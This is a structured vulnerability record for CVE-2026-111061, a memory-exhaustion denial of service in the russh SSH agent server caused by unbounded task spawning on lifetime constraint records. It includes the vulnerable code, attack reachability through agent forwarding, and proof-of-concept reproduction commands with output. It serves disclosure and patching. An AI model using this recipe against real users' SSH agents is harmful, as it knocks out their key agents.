{"schema":"threatline.record/2","record":{"id":"CVE-2026-111061","aliases":["GHSA-4wc5-f2rc-q74m"],"summary":"russh: Unbounded memory allocation in agent protocol server via crafted constraint records","details":"### Summary\n\n`russh_keys::agent::server::add_key` (`russh/src/keys/agent/server.rs:271-319`) spawns a dedicated tokio task for every 5-byte `SSH_AGENT_CONSTRAIN_LIFETIME` record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the `auth-agent@openssh.com` channel by default at `russh/src/client/mod.rs:2686`) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).\n\n\n### Details\n\n```rust\n// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)\nwhile let Ok(t) = u8::decode(r) {\n match t {\n SSH_AGENT_CONSTRAIN_LIFETIME => {\n let lifetime = u32::decode(r)?;\n ...\n tokio::spawn({\n let key = key.clone;\n async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }\n });\n }\n ...\n```\n\nEach lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded `tokio::spawn` per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.\n\n### Proof of concept\n\nPrerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.\n\n```bash\n$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh\nrussh at efa9a03 -> /home/ubuntu/russh-poc/poc\n\n$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40\n[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)\n[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)\n[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)\n[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.\n[*] fds = 19\n```\n\nThe broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.\n\n#### Manual reproduction, step by step (no archive required)\n\n1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):\n\n```bash\ngit clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310\ncargo build --release   # in the PoC crate directory; the path dependency points at the clone\n```\n\n2. Run the PoC: it starts the agent on loopback, then sends repeated `SSH_AGENTC_ADD_IDENTITY_CONSTRAINED` messages whose constraint sections contain ~52,000 five-byte `SSH_AGENT_CONSTRAIN_LIFETIME` records each:\n\n```bash\n./target/release/poc-agent-addkey 40\n# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)\n# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)\n# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)\n# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.\n```\n\n3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (`MODE=control`), isolating the constraint-record task spawn as the amplifier.\n\n4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept `auth-agent@openssh.com` channels by default, `russh/src/client/mod.rs:2686`), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.\n\n### Impact\n\nAn attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.","categories":["Libraries & packages"],"product":"russh","vendor":"Eugeny","ecosystem":"rust","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4wc5-f2rc-q74m","source_modified_at":"2026-10-19T17:06:48Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"rust","name":"russh"},"range":"<= 0.64.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-111061","source_modified_at":"2026-10-19T18:29:47.486Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"russh","vendor":"Eugeny","versions":[{"version":"< 0.64.1","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4wc5-f2rc-q74m","source_modified_at":"2026-10-19T17:15:04.083911581Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"crates.io","name":"russh","purl":"pkg:cargo/russh"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"0.64.1"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4wc5-f2rc-q74m","source_modified_at":"2026-10-19T17:06:48Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"rust","name":"russh"},"version":"0.64.1"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4wc5-f2rc-q74m","source_modified_at":"2026-10-19T17:15:04.083911581Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"crates.io","name":"russh","purl":"pkg:cargo/russh"},"version":"0.64.1"}],"cvss":4.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00346,"percentile":0.27022,"score_date":"2026-10-23"},"published_at":"2026-10-19T16:30:24.445Z","modified_at":"2026-10-19T18:29:47.486Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-4wc5-f2rc-q74m","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-19T17:06:48Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-111061","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-19T18:29:47.486Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-4wc5-f2rc-q74m","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-19T17:15:04.083911581Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111061","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-4wc5-f2rc-q74m","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/Eugeny/russh/commit/4c305033d72f8e5dd21a3fd4c53a6c291a16ebd1","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/Eugeny/russh/releases/tag/v0.64.1","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-4wc5-f2rc-q74m","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-19T18:29:25.468418Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T18:29:47.486Z","content_hash":"9ea587aa94247d4a08d566b1ecfa5b9c69e96cd26e0e042ce9732b729de3d1f3"}}
